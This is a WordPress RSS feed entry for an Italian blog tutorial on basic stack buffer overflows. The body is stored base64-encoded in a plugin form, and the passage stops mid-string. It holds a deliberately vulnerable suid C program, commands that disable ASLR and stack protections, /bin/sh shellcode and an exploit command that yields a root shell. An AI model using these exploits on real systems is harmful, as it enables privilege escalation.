<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Michele Manzotti &#187; gdb</title>
	<atom:link href="http://www.manzotti.eu/tag/gdb/feed" rel="self" type="application/rss+xml" />
	<link>http://www.manzotti.eu</link>
	<description></description>
	<lastBuildDate>Fri, 10 Sep 2010 15:27:05 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=abc</generator>
		<item>
		<title>Le basi del BOF Buffer overflow</title>
		<link>http://www.manzotti.eu/le-basi-del-bof-buffer-overflow</link>
		<comments>http://www.manzotti.eu/le-basi-del-bof-buffer-overflow#comments</comments>
		<pubDate>Thu, 01 Jul 2010 14:00:14 +0000</pubDate>
		<dc:creator>manzotti.eu</dc:creator>
				<category><![CDATA[Linux]]></category>
		<category><![CDATA[Security]]></category>
		<category><![CDATA[bof]]></category>
		<category><![CDATA[buffer overflow]]></category>
		<category><![CDATA[c#]]></category>
		<category><![CDATA[gdb]]></category>

		<guid isPermaLink="false">http://manzotti.eu/?p=816</guid>
		<description><![CDATA[]]></description>
			<content:encoded><![CDATA[<div class="pdf24Plugin-cp"> <form name="pdf24Form1" method="post" target="pdf24PopWin" action="http://doc2pdf.pdf24.org/wordpress.php"><input type="hidden" name="blogCharset" value="VVRGLTg=" /><input type="hidden" name="blogPosts" value="MQ==" /><input type="hidden" name="blogUrl" value="aHR0cDovL3d3dy5tYW56b3R0aS5ldQ==" /><input type="hidden" name="blogName" value="TWljaGVsZSBNYW56b3R0aQ==" /><input type="hidden" name="blogValueEncoding" value="base64" /><input type="hidden" name="postTitle_0" value="TGUgYmFzaSBkZWwgQk9GIEJ1ZmZlciBvdmVyZmxvdw==" /><input type="hidden" name="postLink_0" value="aHR0cDovL3d3dy5tYW56b3R0aS5ldS9sZS1iYXNpLWRlbC1ib2YtYnVmZmVyLW92ZXJmbG93" /><input type="hidden" name="postAuthor_0" value="bWFuem90dGkuZXU=" /><input type="hidden" name="postDateTime_0" value="MSBsdWdsaW8gMjAxMCAxNjowMA==" /><input type="hidden" name="postContent_0" value="PHA+UmlzcG9sdmVybyB0cmEgbGUgYm96emUgdW4gdmVjY2hpbyBwb3N0IGNoZSBhdmV2byBzY3JpdHRvIHNlY29saSBlIHNlY29saSBmYS4gTm9uIHNvIHBlciBxdWFsZSBkaWF2b2xvIGRpIG1vdGl2byBub24gbCYjODIxNztobyBwacO5IHB1YmJsaWNhdG8uIEZvcnNlIGxlIG1pZ2xpYWlhIGRpIGNvc2UgZGEgZmFyZSBoYW5ubyBmYXR0byBzaSBjaGUgbWUgbmUgZGltZW50aWNhc3NpLiBCdW9uYSBsZXR0dXJhJiM4MjMwOzwvcD4KPHA+RG9wbyBsJiM4MjE3O2FydGljb2xvIHN1bGxlIDxhIGhyZWY9Imh0dHA6Ly9tYW56b3R0aS5ldS9sZS1iYXNpLWRlbGxhc3NlbWJseS1lLWRlbC1kZWJ1Z2dpbmctc3UtdW5peCI+YmFzaSBkZWxsJiM4MjE3O2Fzc2VtYmx5IGUgZGVsIGRlYnVnZ2luZzwvYT4sIHZlZGlhbW8gaW4gcXVlc3RvIGNvbWUgaW1wbGVtZW50YXJlIGxhIHRlY25pY2EgZGVsIDxhIGhyZWY9Imh0dHA6Ly9lbi53aWtpcGVkaWEub3JnL3dpa2kvQnVmZmVyX292ZXJmbG93Ij5idWZmZXIgb3ZlcmZsb3c8L2E+LjwvcD4KPHA+PGEgaHJlZj0iaHR0cDovL21hbnpvdHRpLmV1L3dwLWNvbnRlbnQvdXBsb2Fkcy8yMDEwLzA3L2hleGR1bXAxLmpwZyI+PGltZyBzcmM9Imh0dHA6Ly9tYW56b3R0aS5ldS93cC1jb250ZW50L3VwbG9hZHMvMjAxMC8wNy9oZXhkdW1wMS0yOTl4MTkzLmpwZyIgYWx0PSIiIHRpdGxlPSJoZXhkdW1wMSIgd2lkdGg9IjI5OSIgaGVpZ2h0PSIxOTMiIGNsYXNzPSJhbGlnbmNlbnRlciBzaXplLW1lZGl1bSB3cC1pbWFnZS0xNzM5IiAvPjwvYT48L3A+CjxwPlNlbnphIHBlcmRlcmNpIHRyb3BwbyBzdWxsYSB0ZW9yaWEgY2hlIHJpbWFuZG8gYSA8YSBocmVmPSJodHRwOi8vZW4ud2lraXBlZGlhLm9yZy93aWtpL0J1ZmZlcl9vdmVyZmxvdyI+d2lraXBlZGlhPC9hPiwgY2VyY2hpYW1vIGRpIHNmcnV0dGFyZSB1biBjb2RpY2UgdnVsbmVyYWJpbGUgcGVyIG90dGVuZXJlIGxhIHNoZWxsIGRpIHJvb3QuPC9wPgo8cD5Jbm5hbnppdHV0dG8gc2UgdXRpbGl6emlhbW8gdW4ga2VybmVsIHN1cGVyaW9yZSBhbCAyLjQgw6ggbmVjZXNzYXJpbyBkaXNhdHRpdmFyZSBsYSByYW5kb21penphemlvbmUgZGVsbG8gc3RhY2s6PC9wPgoKPGRpdiBjbGFzcz0id3Bfc3ludGF4Ij48ZGl2IGNsYXNzPSJjb2RlIj48cHJlIGNsYXNzPSJ0ZXh0IiBzdHlsZT0iZm9udC1mYW1pbHk6bW9ub3NwYWNlOyI+IyBzeXNjdGwgLXcga2VybmVsLnJhbmRvbWl6ZV92YV9zcGFjZT0wCmtlcm5lbC5yYW5kb21pemVfdmFfc3BhY2UgPSAwPC9wcmU+PC9kaXY+PC9kaXY+Cgo8cD5QZXIgcmlhYmlsaXRhcmxvIGludmVjZTo8L3A+Cgo8ZGl2IGNsYXNzPSJ3cF9zeW50YXgiPjxkaXYgY2xhc3M9ImNvZGUiPjxwcmUgY2xhc3M9InRleHQiIHN0eWxlPSJmb250LWZhbWlseTptb25vc3BhY2U7Ij5yb290QGJ0On4jIHN5c2N0bCAtdyBrZXJuZWwucmFuZG9taXplX3ZhX3NwYWNlPTM8L3ByZT48L2Rpdj48L2Rpdj4KCjxwPjxzdHJvbmc+dnVsbi5jPC9zdHJvbmc+PC9wPgoKPGRpdiBjbGFzcz0id3Bfc3ludGF4Ij48ZGl2IGNsYXNzPSJjb2RlIj48cHJlIGNsYXNzPSJjIiBzdHlsZT0iZm9udC1mYW1pbHk6bW9ub3NwYWNlOyI+PHNwYW4gc3R5bGU9ImNvbG9yOiAjOTkzMzMzOyI+aW50PC9zcGFuPiBtYWluPHNwYW4gc3R5bGU9ImNvbG9yOiAjMDA5OTAwOyI+JiM0MDs8L3NwYW4+PHNwYW4gc3R5bGU9ImNvbG9yOiAjOTkzMzMzOyI+aW50PC9zcGFuPiBhcmdjPHNwYW4gc3R5bGU9ImNvbG9yOiAjMzM5OTMzOyI+LDwvc3Bhbj4gPHNwYW4gc3R5bGU9ImNvbG9yOiAjOTkzMzMzOyI+Y2hhcjwvc3Bhbj4gPHNwYW4gc3R5bGU9ImNvbG9yOiAjMzM5OTMzOyI+Kio8L3NwYW4+YXJndjxzcGFuIHN0eWxlPSJjb2xvcjogIzAwOTkwMDsiPiYjNDE7PC9zcGFuPjxzcGFuIHN0eWxlPSJjb2xvcjogIzAwOTkwMDsiPiYjMTIzOzwvc3Bhbj4KICAgICAgICAgIDxzcGFuIHN0eWxlPSJjb2xvcjogIzk5MzMzMzsiPmNoYXI8L3NwYW4+IGJ1ZjxzcGFuIHN0eWxlPSJjb2xvcjogIzAwOTkwMDsiPiYjOTE7PC9zcGFuPjxzcGFuIHN0eWxlPSJjb2xvcjogIzAwMDBkZDsiPjg8L3NwYW4+PHNwYW4gc3R5bGU9ImNvbG9yOiAjMDA5OTAwOyI+JiM5Mzs8L3NwYW4+PHNwYW4gc3R5bGU9ImNvbG9yOiAjMzM5OTMzOyI+Ozwvc3Bhbj4KICAgICAgICAgIHN0cmNweTxzcGFuIHN0eWxlPSJjb2xvcjogIzAwOTkwMDsiPiYjNDA7PC9zcGFuPmJ1ZjxzcGFuIHN0eWxlPSJjb2xvcjogIzMzOTkzMzsiPiw8L3NwYW4+IGFyZ3Y8c3BhbiBzdHlsZT0iY29sb3I6ICMwMDk5MDA7Ij4mIzkxOzwvc3Bhbj48c3BhbiBzdHlsZT0iY29sb3I6ICMwMDAwZGQ7Ij4xPC9zcGFuPjxzcGFuIHN0eWxlPSJjb2xvcjogIzAwOTkwMDsiPiYjOTM7PC9zcGFuPjxzcGFuIHN0eWxlPSJjb2xvcjogIzAwOTkwMDsiPiYjNDE7PC9zcGFuPjxzcGFuIHN0eWxlPSJjb2xvcjogIzMzOTkzMzsiPjs8L3NwYW4+CiAgICAgICAgICA8c3BhbiBzdHlsZT0iY29sb3I6ICMwMDAwNjY7Ij5wcmludGY8L3NwYW4+PHNwYW4gc3R5bGU9ImNvbG9yOiAjMDA5OTAwOyI+JiM0MDs8L3NwYW4+PHNwYW4gc3R5bGU9ImNvbG9yOiAjZmYwMDAwOyI+JnF1b3Q7SGVsbG8gJXM8c3BhbiBzdHlsZT0iY29sb3I6ICMwMDAwOTk7IGZvbnQtd2VpZ2h0OiBib2xkOyI+XG48L3NwYW4+JnF1b3Q7PC9zcGFuPjxzcGFuIHN0eWxlPSJjb2xvcjogIzMzOTkzMzsiPiw8L3NwYW4+IGJ1ZjxzcGFuIHN0eWxlPSJjb2xvcjogIzAwOTkwMDsiPiYjNDE7PC9zcGFuPjxzcGFuIHN0eWxlPSJjb2xvcjogIzMzOTkzMzsiPjs8L3NwYW4+CjxzcGFuIHN0eWxlPSJjb2xvcjogIzAwOTkwMDsiPiYjMTI1Ozwvc3Bhbj48L3ByZT48L2Rpdj48L2Rpdj4KCjxwPkNvbXBpbGlhbW86PC9wPgoKPGRpdiBjbGFzcz0id3Bfc3ludGF4Ij48ZGl2IGNsYXNzPSJjb2RlIj48cHJlIGNsYXNzPSJ0ZXh0IiBzdHlsZT0iZm9udC1mYW1pbHk6bW9ub3NwYWNlOyI+IyBnY2MgLW8gdnVsbiB2dWxuLmMgLXogZXhlY3N0YWNrIC1mbm8tc3RhY2stcHJvdGVjdG9yIC1tcHJlZmVycmVkLXN0YWNrLWJvdW5kYXJ5PTIKdnVsbi5jOiBJbiBmdW5jdGlvbiDigJhtYWlu4oCZOgp2dWxuLmM6Mzogd2FybmluZzogaW5jb21wYXRpYmxlIGltcGxpY2l0IGRlY2xhcmF0aW9uIG9mIGJ1aWx0LWluIGZ1bmN0aW9uIOKAmHN0cmNweeKAmQp2dWxuLmM6NDogd2FybmluZzogaW5jb21wYXRpYmxlIGltcGxpY2l0IGRlY2xhcmF0aW9uIG9mIGJ1aWx0LWluIGZ1bmN0aW9uIOKAmHByaW50ZuKAmTwvcHJlPjwvZGl2PjwvZGl2PgoKPHA+Umljb3JkaWFtb2NpIGRpIHV0aWxpenphcmUgbGUgb3B6aW9uaSA8aT48dT4teiBleGVjc3RhY2s8L3U+IDx1Pi1mbm8tc3RhY2stcHJvdGVjdG9yPC91PiA8dT4tbXByZWZlcnJlZC1zdGFjay1ib3VuZGFyeT0yPC91PjwvaT4gcGVyIGlsIGtlcm5lbCAyLjYueCBlIHNldHRpYW1vIGlsIHN1aWQ6PC9wPgoKPGRpdiBjbGFzcz0id3Bfc3ludGF4Ij48ZGl2IGNsYXNzPSJjb2RlIj48cHJlIGNsYXNzPSJ0ZXh0IiBzdHlsZT0iZm9udC1mYW1pbHk6bW9ub3NwYWNlOyI+I2NobW9kICtzIHZ1bG48L3ByZT48L2Rpdj48L2Rpdj4KCjxwPlByb2N1cmlhbW9jaSB1bm8gc2hlbGxjb2RlIGRhIDxhIGhyZWY9Imh0dHA6Ly9zaGVsbGNvZGUub3JnL1NoZWxsY29kZS9saW51eC9udWxsLWZyZWUvIj5zaGVsbGNvZGUub3JnPC9hPiB0ZXN0aWFtbyBpbCBzdW8gZnVuemlvbmFtZW50bzo8L3A+Cgo8ZGl2IGNsYXNzPSJ3cF9zeW50YXgiPjxkaXYgY2xhc3M9ImNvZGUiPjxwcmUgY2xhc3M9ImMiIHN0eWxlPSJmb250LWZhbWlseTptb25vc3BhY2U7Ij48c3BhbiBzdHlsZT0iY29sb3I6ICM5OTMzMzM7Ij5jaGFyPC9zcGFuPiBtYWluPHNwYW4gc3R5bGU9ImNvbG9yOiAjMDA5OTAwOyI+JiM5MTs8L3NwYW4+PHNwYW4gc3R5bGU9ImNvbG9yOiAjMDA5OTAwOyI+JiM5Mzs8L3NwYW4+IDxzcGFuIHN0eWxlPSJjb2xvcjogIzMzOTkzMzsiPj08L3NwYW4+CiAgICAgPHNwYW4gc3R5bGU9ImNvbG9yOiAjZmYwMDAwOyI+JnF1b3Q7PHNwYW4gc3R5bGU9ImNvbG9yOiAjNjYwMDk5OyBmb250LXdlaWdodDogYm9sZDsiPlx4ZWI8L3NwYW4+PHNwYW4gc3R5bGU9ImNvbG9yOiAjNjYwMDk5OyBmb250LXdlaWdodDogYm9sZDsiPlx4MTk8L3NwYW4+PHNwYW4gc3R5bGU9ImNvbG9yOiAjNjYwMDk5OyBmb250LXdlaWdodDogYm9sZDsiPlx4NWU8L3NwYW4+PHNwYW4gc3R5bGU9ImNvbG9yOiAjNjYwMDk5OyBmb250LXdlaWdodDogYm9sZDsiPlx4YjA8L3NwYW4+PHNwYW4gc3R5bGU9ImNvbG9yOiAjNjYwMDk5OyBmb250LXdlaWdodDogYm9sZDsiPlx4NDY8L3NwYW4+PHNwYW4gc3R5bGU9ImNvbG9yOiAjNjYwMDk5OyBmb250LXdlaWdodDogYm9sZDsiPlx4MzE8L3NwYW4+PHNwYW4gc3R5bGU9ImNvbG9yOiAjNjYwMDk5OyBmb250LXdlaWdodDogYm9sZDsiPlx4ZGI8L3NwYW4+PHNwYW4gc3R5bGU9ImNvbG9yOiAjNjYwMDk5OyBmb250LXdlaWdodDogYm9sZDsiPlx4MzE8L3NwYW4+JnF1b3Q7PC9zcGFuPgogICAgIDxzcGFuIHN0eWxlPSJjb2xvcjogI2ZmMDAwMDsiPiZxdW90OzxzcGFuIHN0eWxlPSJjb2xvcjogIzY2MDA5OTsgZm9udC13ZWlnaHQ6IGJvbGQ7Ij5ceGM5PC9zcGFuPjxzcGFuIHN0eWxlPSJjb2xvcjogIzY2MDA5OTsgZm9udC13ZWlnaHQ6IGJvbGQ7Ij5ceGNkPC9zcGFuPjxzcGFuIHN0eWxlPSJjb2xvcjogIzY2MDA5OTsgZm9udC13ZWlnaHQ6IGJvbGQ7Ij5ceDgwPC9zcGFuPjxzcGFuIHN0eWxlPSJjb2xvcjogIzY2MDA5OTsgZm9udC13ZWlnaHQ6IGJvbGQ7Ij5ceDMxPC9zcGFuPjxzcGFuIHN0eWxlPSJjb2xvcjogIzY2MDA5OTsgZm9udC13ZWlnaHQ6IGJvbGQ7Ij5ceGMwPC9zcGFuPjxzcGFuIHN0eWxlPSJjb2xvcjogIzY2MDA5OTsgZm9udC13ZWlnaHQ6IGJvbGQ7Ij5ceGIwPC9zcGFuPjxzcGFuIHN0eWxlPSJjb2xvcjogIzY2MDA5OTsgZm9udC13ZWlnaHQ6IGJvbGQ7Ij5ceDBiPC9zcGFuPjxzcGFuIHN0eWxlPSJjb2xvcjogIzY2MDA5OTsgZm9udC13ZWlnaHQ6IGJvbGQ7Ij5ceDg5PC9zcGFuPiZxdW90Ozwvc3Bhbj4KICAgICA8c3BhbiBzdHlsZT0iY29sb3I6ICNmZjAwMDA7Ij4mcXVvdDs8c3BhbiBzdHlsZT0iY29sb3I6ICM2NjAwOTk7IGZvbnQtd2VpZ2h0OiBib2xkOyI+XHhmMzwvc3Bhbj48c3BhbiBzdHlsZT0iY29sb3I6ICM2NjAwOTk7IGZvbnQtd2VpZ2h0OiBib2xkOyI+XHgzMTwvc3Bhbj48c3BhbiBzdHlsZT0iY29sb3I6ICM2NjAwOTk7IGZvbnQtd2VpZ2h0OiBib2xkOyI+XHhmZjwvc3Bhbj48c3BhbiBzdHlsZT0iY29sb3I6ICM2NjAwOTk7IGZvbnQtd2VpZ2h0OiBib2xkOyI+XHg1Nzwvc3Bhbj48c3BhbiBzdHlsZT0iY29sb3I6ICM2NjAwOTk7IGZvbnQtd2VpZ2h0OiBib2xkOyI+XHg1Njwvc3Bhbj48c3BhbiBzdHlsZT0iY29sb3I6ICM2NjAwOTk7IGZvbnQtd2VpZ2h0OiBib2xkOyI+XHg4OTwvc3Bhbj48c3BhbiBzdHlsZT0iY29sb3I6ICM2NjAwOTk7IGZvbnQtd2VpZ2h0OiBib2xkOyI+XHhlMTwvc3Bhbj48c3BhbiBzdHlsZT0iY29sb3I6ICM2NjAwOTk7IGZvbnQtd2VpZ2h0OiBib2xkOyI+XHgzMTwvc3Bhbj4mcXVvdDs8L3NwYW4+CiAgICAgPHNwYW4gc3R5bGU9ImNvbG9yOiAjZmYwMDAwOyI+JnF1b3Q7PHNwYW4gc3R5bGU9ImNvbG9yOiAjNjYwMDk5OyBmb250LXdlaWdodDogYm9sZDsiPlx4ZDI8L3NwYW4+PHNwYW4gc3R5bGU9ImNvbG9yOiAjNjYwMDk5OyBmb250LXdlaWdodDogYm9sZDsiPlx4Y2Q8L3NwYW4+PHNwYW4gc3R5bGU9ImNvbG9yOiAjNjYwMDk5OyBmb250LXdlaWdodDogYm9sZDsiPlx4ODA8L3NwYW4+PHNwYW4gc3R5bGU9ImNvbG9yOiAjNjYwMDk5OyBmb250LXdlaWdodDogYm9sZDsiPlx4ZTg8L3NwYW4+PHNwYW4gc3R5bGU9ImNvbG9yOiAjNjYwMDk5OyBmb250LXdlaWdodDogYm9sZDsiPlx4ZTI8L3NwYW4+PHNwYW4gc3R5bGU9ImNvbG9yOiAjNjYwMDk5OyBmb250LXdlaWdodDogYm9sZDsiPlx4ZmY8L3NwYW4+PHNwYW4gc3R5bGU9ImNvbG9yOiAjNjYwMDk5OyBmb250LXdlaWdodDogYm9sZDsiPlx4ZmY8L3NwYW4+PHNwYW4gc3R5bGU9ImNvbG9yOiAjNjYwMDk5OyBmb250LXdlaWdodDogYm9sZDsiPlx4ZmY8L3NwYW4+JnF1b3Q7PC9zcGFuPgogICAgIDxzcGFuIHN0eWxlPSJjb2xvcjogI2ZmMDAwMDsiPiZxdW90Oy9iaW4vc2gmcXVvdDs8L3NwYW4+PHNwYW4gc3R5bGU9ImNvbG9yOiAjMzM5OTMzOyI+Ozwvc3Bhbj48L3ByZT48L2Rpdj48L2Rpdj4KCjxwPlRlc3RpYW1vIGlsIHN1byBjb3JyZXR0byBmdW56aW9uYW1lbnRvOjwvcD4KCjxkaXYgY2xhc3M9IndwX3N5bnRheCI+PGRpdiBjbGFzcz0iY29kZSI+PHByZSBjbGFzcz0idGV4dCIgc3R5bGU9ImZvbnQtZmFtaWx5Om1vbm9zcGFjZTsiPnJvb3RAYnQ6IyBnY2MgLW8gc2hlbGxjb2RlIHNoZWxsY29kZS5jCnJvb3RAYnQ6IyAuL3NoZWxsY29kZQojPC9wcmU+PC9kaXY+PC9kaXY+Cgo8cD5CZW5lIG9yYSBwb3NzaWFtbyBlc3BvcnRhcmUgaWwgdHV0dG8gaW4gdW5hIHZhcmlhYmlsZSBkJiM4MjE3O2FtYmllbnRlIGFnZ2l1bmdlbmRvIGFuY2hlIGRlbCBub3AgY29kZS48L3A+Cgo8ZGl2IGNsYXNzPSJ3cF9zeW50YXgiPjxkaXYgY2xhc3M9ImNvZGUiPjxwcmUgY2xhc3M9InRleHQiIHN0eWxlPSJmb250LWZhbWlseTptb25vc3BhY2U7Ij51c2VyQGJ0JCBleHBvcnQgU0g9YHBlcmwgLWUgJ3ByaW50ICZxdW90O1x4OTAmcXVvdDt4NjQsJnF1b3Q7XHhlYlx4MWRceDVlXHgzMVx4YzBceDg4XHg0Nlx4MDdceDg5XHg3Nlx4MDhceDg5XHg0Nlx4MGNceDhkXHg0ZVx4MDhceDhkXHg1Nlx4MGNceDg5XHhmM1x4YjBceDBiXHhjZFx4ODBceDQwXHgzMVx4ZGJceGNkXHg4MFx4ZThceGRlXHhmZlx4ZmZceGZmL2Jpbi9zaCZxdW90OydgPC9wcmU+PC9kaXY+PC9kaXY+Cgo8cD5PcmEgbm9uIGNpIHJlc3RhIGNoZSBpbmRpdmlkdWFyZSBkb3ZlIMOoIGxvY2FsaXp6YXRhIGxhIHZhcmlhYmlsZSBkJiM4MjE3O2FtYmllbnRlIGFwcGVuYSBjcmVhdGEuPC9wPgo8cD48c3Ryb25nPmdldC5jPC9zdHJvbmc+PC9wPgoKPGRpdiBjbGFzcz0id3Bfc3ludGF4Ij48ZGl2IGNsYXNzPSJjb2RlIj48cHJlIGNsYXNzPSJjIiBzdHlsZT0iZm9udC1mYW1pbHk6bW9ub3NwYWNlOyI+PHNwYW4gc3R5bGU9ImNvbG9yOiAjOTkzMzMzOyI+aW50PC9zcGFuPiBtYWluPHNwYW4gc3R5bGU9ImNvbG9yOiAjMDA5OTAwOyI+JiM0MDs8L3NwYW4+PHNwYW4gc3R5bGU9ImNvbG9yOiAjOTkzMzMzOyI+aW50PC9zcGFuPiBhcmdjPHNwYW4gc3R5bGU9ImNvbG9yOiAjMzM5OTMzOyI+LDwvc3Bhbj4gPHNwYW4gc3R5bGU9ImNvbG9yOiAjOTkzMzMzOyI+Y2hhcjwvc3Bhbj4gPHNwYW4gc3R5bGU9ImNvbG9yOiAjMzM5OTMzOyI+Kjwvc3Bhbj5hcmd2PHNwYW4gc3R5bGU9ImNvbG9yOiAjMDA5OTAwOyI+JiM5MTs8L3NwYW4+PHNwYW4gc3R5bGU9ImNvbG9yOiAjMDA5OTAwOyI+JiM5Mzs8L3NwYW4+PHNwYW4gc3R5bGU9ImNvbG9yOiAjMDA5OTAwOyI+JiM0MTs8L3NwYW4+CjxzcGFuIHN0eWxlPSJjb2xvcjogIzAwOTkwMDsiPiYjMTIzOzwvc3Bhbj4KICAgICAgICAgIDxzcGFuIHN0eWxlPSJjb2xvcjogIzAwMDA2NjsiPnByaW50Zjwvc3Bhbj48c3BhbiBzdHlsZT0iY29sb3I6ICMwMDk5MDA7Ij4mIzQwOzwvc3Bhbj48c3BhbiBzdHlsZT0iY29sb3I6ICNmZjAwMDA7Ij4mcXVvdDtUaGUgYWRkcmVzcyBvZiAlcyBpcyAlcDxzcGFuIHN0eWxlPSJjb2xvcjogIzAwMDA5OTsgZm9udC13ZWlnaHQ6IGJvbGQ7Ij5cbjwvc3Bhbj4mcXVvdDs8L3NwYW4+PHNwYW4gc3R5bGU9ImNvbG9yOiAjMzM5OTMzOyI+LDwvc3Bhbj5hcmd2PHNwYW4gc3R5bGU9ImNvbG9yOiAjMDA5OTAwOyI+JiM5MTs8L3NwYW4+PHNwYW4gc3R5bGU9ImNvbG9yOiAjMDAwMGRkOyI+MTwvc3Bhbj48c3BhbiBzdHlsZT0iY29sb3I6ICMwMDk5MDA7Ij4mIzkzOzwvc3Bhbj48c3BhbiBzdHlsZT0iY29sb3I6ICMzMzk5MzM7Ij4sPC9zcGFuPiBnZXRlbnY8c3BhbiBzdHlsZT0iY29sb3I6ICMwMDk5MDA7Ij4mIzQwOzwvc3Bhbj5hcmd2PHNwYW4gc3R5bGU9ImNvbG9yOiAjMDA5OTAwOyI+JiM5MTs8L3NwYW4+PHNwYW4gc3R5bGU9ImNvbG9yOiAjMDAwMGRkOyI+MTwvc3Bhbj48c3BhbiBzdHlsZT0iY29sb3I6ICMwMDk5MDA7Ij4mIzkzOzwvc3Bhbj48c3BhbiBzdHlsZT0iY29sb3I6ICMwMDk5MDA7Ij4mIzQxOzwvc3Bhbj48c3BhbiBzdHlsZT0iY29sb3I6ICMwMDk5MDA7Ij4mIzQxOzwvc3Bhbj48c3BhbiBzdHlsZT0iY29sb3I6ICMzMzk5MzM7Ij47PC9zcGFuPgogICAgICAgICAgPHNwYW4gc3R5bGU9ImNvbG9yOiAjYjFiMTAwOyI+cmV0dXJuPC9zcGFuPiA8c3BhbiBzdHlsZT0iY29sb3I6ICMwMDAwZGQ7Ij4wPC9zcGFuPjxzcGFuIHN0eWxlPSJjb2xvcjogIzMzOTkzMzsiPjs8L3NwYW4+CjxzcGFuIHN0eWxlPSJjb2xvcjogIzAwOTkwMDsiPiYjMTI1Ozwvc3Bhbj48L3ByZT48L2Rpdj48L2Rpdj4KCjxwPkNvbXBpbGlhbW8gZSBjZXJjaGlhbW8gbCYjODIxNztpbmRpcml6em8gZGVsbGEgdmFyaWFiaWxlIGQmIzgyMTc7YW1iaWVudGU6PC9wPgoKPGRpdiBjbGFzcz0id3Bfc3ludGF4Ij48ZGl2IGNsYXNzPSJjb2RlIj48cHJlIGNsYXNzPSJ0eHQiIHN0eWxlPSJmb250LWZhbWlseTptb25vc3BhY2U7Ij51c2VyQCQgLi9nZXQgU0gKVGhlIGFkZHJlc3Mgb2YgU0ggaXMgMHhiZmZmZmVkNDwvcHJlPjwvZGl2PjwvZGl2PgoKPHA+T3JhIHBvc3NpbWFvIGxhbmNpYXJlIGwmIzgyMTc7ZXhwbG9pdCBzdWxsJiM4MjE3O2luZGlyaXp6byBhcHBlbmEgdHJvdmF0bzo8L3A+Cgo8ZGl2IGNsYXNzPSJ3cF9zeW50YXgiPjxkaXYgY2xhc3M9ImNvZGUiPjxwcmUgY2xhc3M9InR4dCIgc3R5bGU9ImZvbnQtZmFtaWx5Om1vbm9zcGFjZTsiPnVzZXJAYnQkIC4vZ2V0IFNIClRoZSBhZGRyZXNzIG9mIFNIIGlzIDB4YmZmZmZlZDQKdXNlckBidDovcm9vdC9Eb3dubG9hZHMvQk9GX2hha2luOSQgLi92dWxuIGBwZXJsIC1lICdwcmludCAmcXVvdDtceGQ0XHhmZVx4ZmZceGJmJnF1b3Q7eDQnYApIZWxsbyDvv73vv73vv73vv73vv73vv73vv73vv73vv73vv73vv73vv73vv73vv73vv73vv70KIyB3aG9hbWkKcm9vdDwvcHJlPjwvZGl2PjwvZGl2PgoKPHA+UG9zc2lhbW8gZmFyZSBhbmNoZSBsYSBzdGVzc2EgY29zYSBzZW56YSB1dGlsaXp6YXJlIHVuYSB2YXJpYWJpbGUgZCYjODIxNzthbWJpZW50ZSBlIHNoZWxsY29kZSwgbWEgY2VyY2FuZG8gaWwgYmluYXJpbyBkaXJldHRhbWVudGUgbmVsbGEgbWVtb3JpYS48L3A+CjxwPjxzdHJvbmc+ZmluZC5jPC9zdHJvbmc+PC9wPgoKPGRpdiBjbGFzcz0id3Bfc3ludGF4Ij48ZGl2IGNsYXNzPSJjb2RlIj48cHJlIGNsYXNzPSJjIiBzdHlsZT0iZm9udC1mYW1pbHk6bW9ub3NwYWNlOyI+PHNwYW4gc3R5bGU9ImNvbG9yOiAjMzM5OTMzOyI+I2luY2x1ZGUgJmx0O3N0ZGlvLmgmZ3Q7PC9zcGFuPgo8c3BhbiBzdHlsZT0iY29sb3I6ICMzMzk5MzM7Ij4jaW5jbHVkZSAmbHQ7c3RkbGliLmgmZ3Q7PC9zcGFuPgo8c3BhbiBzdHlsZT0iY29sb3I6ICMzMzk5MzM7Ij4jZGVmaW5lIEJBU0VfQUREUiAgICAweGI3ZTdkMDAwPC9zcGFuPgo8c3BhbiBzdHlsZT0iY29sb3I6ICM5OTMzMzM7Ij5pbnQ8L3NwYW4+IG1haW48c3BhbiBzdHlsZT0iY29sb3I6ICMwMDk5MDA7Ij4mIzQwOzwvc3Bhbj48c3BhbiBzdHlsZT0iY29sb3I6ICMwMDk5MDA7Ij4mIzQxOzwvc3Bhbj48c3BhbiBzdHlsZT0iY29sb3I6ICMwMDk5MDA7Ij4mIzEyMzs8L3NwYW4+CiAgICAgICAgICAgPHNwYW4gc3R5bGU9ImNvbG9yOiAjOTkzMzMzOyI+Y2hhcjwvc3Bhbj4gPHNwYW4gc3R5bGU9ImNvbG9yOiAjMzM5OTMzOyI+Kjwvc3Bhbj5wdHI8c3BhbiBzdHlsZT0iY29sb3I6ICMzMzk5MzM7Ij49PC9zcGFuPkJBU0VfQUREUjxzcGFuIHN0eWxlPSJjb2xvcjogIzMzOTkzMzsiPjs8L3NwYW4+CiAgICAgICAgICAgPHNwYW4gc3R5bGU9ImNvbG9yOiAjYjFiMTAwOyI+d2hpbGU8L3NwYW4+PHNwYW4gc3R5bGU9ImNvbG9yOiAjMDA5OTAwOyI+JiM0MDs8L3NwYW4+PHNwYW4gc3R5bGU9ImNvbG9yOiAjMDAwMGRkOyI+MTwvc3Bhbj48c3BhbiBzdHlsZT0iY29sb3I6ICMwMDk5MDA7Ij4mIzQxOzwvc3Bhbj48c3BhbiBzdHlsZT0iY29sb3I6ICMwMDk5MDA7Ij4mIzEyMzs8L3NwYW4+CiAgICAgICAgICAgICAgICAgICAgIDxzcGFuIHN0eWxlPSJjb2xvcjogI2IxYjEwMDsiPmlmPC9zcGFuPjxzcGFuIHN0eWxlPSJjb2xvcjogIzAwOTkwMDsiPiYjNDA7PC9zcGFuPjxzcGFuIHN0eWxlPSJjb2xvcjogIzAwOTkwMDsiPiYjNDA7PC9zcGFuPnN0cm5jbXA8c3BhbiBzdHlsZT0iY29sb3I6ICMwMDk5MDA7Ij4mIzQwOzwvc3Bhbj5wdHI8c3BhbiBzdHlsZT0iY29sb3I6ICMzMzk5MzM7Ij4sPC9zcGFuPjxzcGFuIHN0eWxlPSJjb2xvcjogI2ZmMDAwMDsiPiZxdW90Oy9iaW4vc2gmcXVvdDs8L3NwYW4+PHNwYW4gc3R5bGU9ImNvbG9yOiAjMzM5OTMzOyI+LDwvc3Bhbj48c3BhbiBzd